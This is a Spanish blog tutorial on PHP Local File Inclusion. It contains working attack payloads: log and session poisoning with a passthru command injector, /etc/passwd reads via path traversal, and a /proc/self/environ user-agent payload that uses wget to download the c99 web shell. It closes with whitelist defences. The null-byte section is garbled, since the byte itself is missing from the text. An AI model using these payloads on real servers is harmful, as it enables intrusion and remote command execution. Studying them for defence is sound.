¿Qué es un LFI y como Funciona?


[LFI]  Local File Inclusion

Local File Inclusion, o traducido al castellano inclusion local de archivos, se trata de la inclusion de ficheros locales, es decir, ficheros que se encuentran en el mismo servidor de la web con este tipo de fallo, a diferencia de Remote File Inclusion que incluye ficheros alojados en otros servidores.
Es consecuencia de un fallo en la programacion de la página, mal filtrado de los que se incluye al usar funciones en PHP para incluir archivos.

Ejemplo de incusion de ficheros locales:
http://web.com/index.php?page=empresa.php
http://web.com/index.php?page=contacto.php

Funciones PHP más usadas que permiten inclusion de ficheros:
include "fichero";
require "fichero";
include_once "fichero";
require_once "fichero";

¿Que tiene de peligroso?

¿Que tiene de peligroso esto si solo se incluyen ficheros que esten en el mismo servidor?
Un atacante si se da que es posible modificar los parametros de lo que se incluye, podria decir que se incluyan otros ficheros que también estan en el servidor y que comprometen la seguridad del sistema, como pueden ser ficheros de configuracion, ficheros del sistema como /etc/passwd el fichero de contraseñas (si es un equipo linux), etc.

¿Como sabemos si una página es vulnerable a LFI?

Podemos testear  poniendo un valor ilogico a la variable, por ejemplo si tenemos algo asi: http://web.com/index.php?page= le ponemos un valor ilogico, algo por ejemplo como http://web.com/index.php?page=x7uk , algo que no este registrado, entonces, si al poner un valor asi, tira un error como Warning: main()... o  Warning: include()... o similar entonces es probable que sea vulnerable a RFI o LFI.


Codigo vulnerable:

<?php
include $_GET['pagina'];
?>

Codigo NO vulnerable:

<?php
include('page.php');
?>

Se puede notar que para que una web sea vulnerable a local file inclusion necesitamos poder modificar los parametros de lo que se va a incluir, es decir, el codigo NO vulnerable anteriormente mostrado: include('page.php'); no es vulnerable a LFI, ¿porque? porque no hay nada que podamos modificar, nada mas se incluye page.php.
Ahora bien si el codigo es el codigo vulnerable anteriormente mostrado: include $_GET['pagina']; entonces si podemos modificar los paremetros de lo que se incluye, GET pasa los datos por URL, por lo que veriamos algo asi: http://web.com/index.php?pagina=x7uk.php se incluye el archivo x7uk.php pero podemos modificar lo que se incluye e incluir por ejemplo el fichero de contraseñas de linux /etc/passwd.

¿Que es el NullByte?

El nullbyte es agregarle al final de la url un que hara que el servidor pase por alto todo lo que viene despues del , nos serviria si el codigo PHP es algo similar a lo siguiente:

$theme=$_GET['theme'];
require($theme."/config.php");

En el caso:

?theme=/etc/hosts

El sistema operativo incluira /etc/hosts e ignorara lo que sigue despues del , debido a que los strings en C son delimitados con un "null byte" o un byte en 0s.

Consiguiendo ejecutar comandos en el servidor mediante LFI

error_log
El error_log de los servidores apache, ¿que es esto?, es un archivo de texto llamado error_log que almacena  los errores que se producan, almacena el error que hubo, junto con la fecha, la ip del que produjo el error, el referer tambien, entre otras cosas.
ya que es un archivo de texto podemos inyectar un script php que nos sirva, por ejemplo, para ejecutar comandos en el servidor ¿como?  bueno, dijimos que almacenaba errores, entonces, hay que producir un error con este script y que termine inyectado ahy.

Supongamos que hacemos esto:
http://web.com/x7uk=<? passthru(\$_GET[cmd]) ?>
passthru ejecuta comandos, con ese codigo pasaremos los comandos a ejecutar atraves de la URL.
Ahora bien, x7uk no existe, entonces es un error, la consulta se guardara en el error_log junto al php y ahy quedara inyectado.
¿y donde esta el error_log? para encontrarlo se hace uso del LFI.

Posibles ubicaciones:
/var/log/
/var/log/apache/
/usr/local/apache/logs/
/opt/xampp/apache/logs/

Si lo encontramos podemos usarlo de la siguiente forma:
http://www.web.com/?page=../../../var/apache/error_log&cmd=ls


/proc/self/environ
Otra forma de conseguir ejecutar comandos en el servidor es mediando /proc/self/environ si es que tenemos acceso, nos mostrara datos de nuestro navegador
entre ellos el user-agent, entonces, podemos modificar el user-agent y inyectar un script php en el /proc/self/environ.
Por ejemplo, se puede modificar por algo asi: <?system('wget http://web.com/c99.txt -O shell.php');?>
con eso se descarga la shell c99.txt en el servidor y se renombra a shell.php pudiendo acceder simplemente con http://www.web.com/shell.php

sesiones
Suponiendo que la web tiene este codigo:

 <?php
 $user = $_GET['user'];
 session_register("user");
 session_start();
 ?>

Este codigo esta creando una variable de sesion usando un valor obtenido mediante GET y del que no hace ningun tipo de verificacion.
podemos enviar: http://host/?user=<? passthru($_GET[cmd]) ?>

En las cookies de nuestro navegador podemos ver algo asi
PHPSESSID=g67ca6fea597373cf8eb840b203d277u

Podemos inyectar codigo en el fichero que guarda la sesion por enden podemos usar este fichero para ejecutar comandos de esta forma:
http://host/?file=/tmp/sess_g67ca6fea597373cf8eb840b203d277u&cmd=ls

Vamos la carpeta /tmp y la session que se nos asigno, y al final de la url le agregamos el cmd=ls

Log del FTP
Otra forma de conseguir ejecutar comandos es por el log del ftp, que puede estar ubicado en /var/log/proftpd/proftpd.log
si intentamos conectarnos y en el nombre de usuario ponemos  <? passthru($_GET[cmd]) ?> habremos inyectado el codigo en el log del ftp.
seria similar a lo que hicimos con el error_log

¿Como protegernos de este tipo de ataque?

Basicamente podriamos filtrar las variables:

<?php
if(!empty($_GET['pagina'])){  //si tiene algo $_GET['pagina'] 
  if ($_GET['pagina']=='hi1.php'){ //si pagina es igual a hi1.php
    include $_GET['pagina']; //entonces si hacemos la inclusion
  }else{ // de lo contrario
  echo 'Que buscas? ;)'; // ¿Que buscas? xD
   }
}
?>

ó

<?php
$paginas = array('hi1.php', 'hi2.php'); //todas las que queramos..
foreach ($paginas as $pagina) // le pasamos un foreach
if(!empty($_GET['pagina'])){  //si tiene algo $_GET['pagina']
  if ($_GET['pagina']==$pagina){ //si pagina es igual a alguna de las paginas
    include $_GET['pagina']; //entonces si hacemos la inclusion
  }
}
?>

Referencias:
http://www.php.net/
http://web.mit.edu/rhel-doc/OldFiles/4/RH-DOCS/rhel-rg-es-4/s1-proc-directories.html

Fuente:elhacker

No hay comentarios:

Publicar un comentario

Buscanos en Facebook

Entradas populares

Videos Rcientes

Followers

Visitas

============================================================
contador de visitas
Visitas hasta el dia de Hoy

..::Usuarios Online::..

 

BlackOpHn-T3AM | Blog Oficial |©Copyright 2013-2014 | Powered by Blogger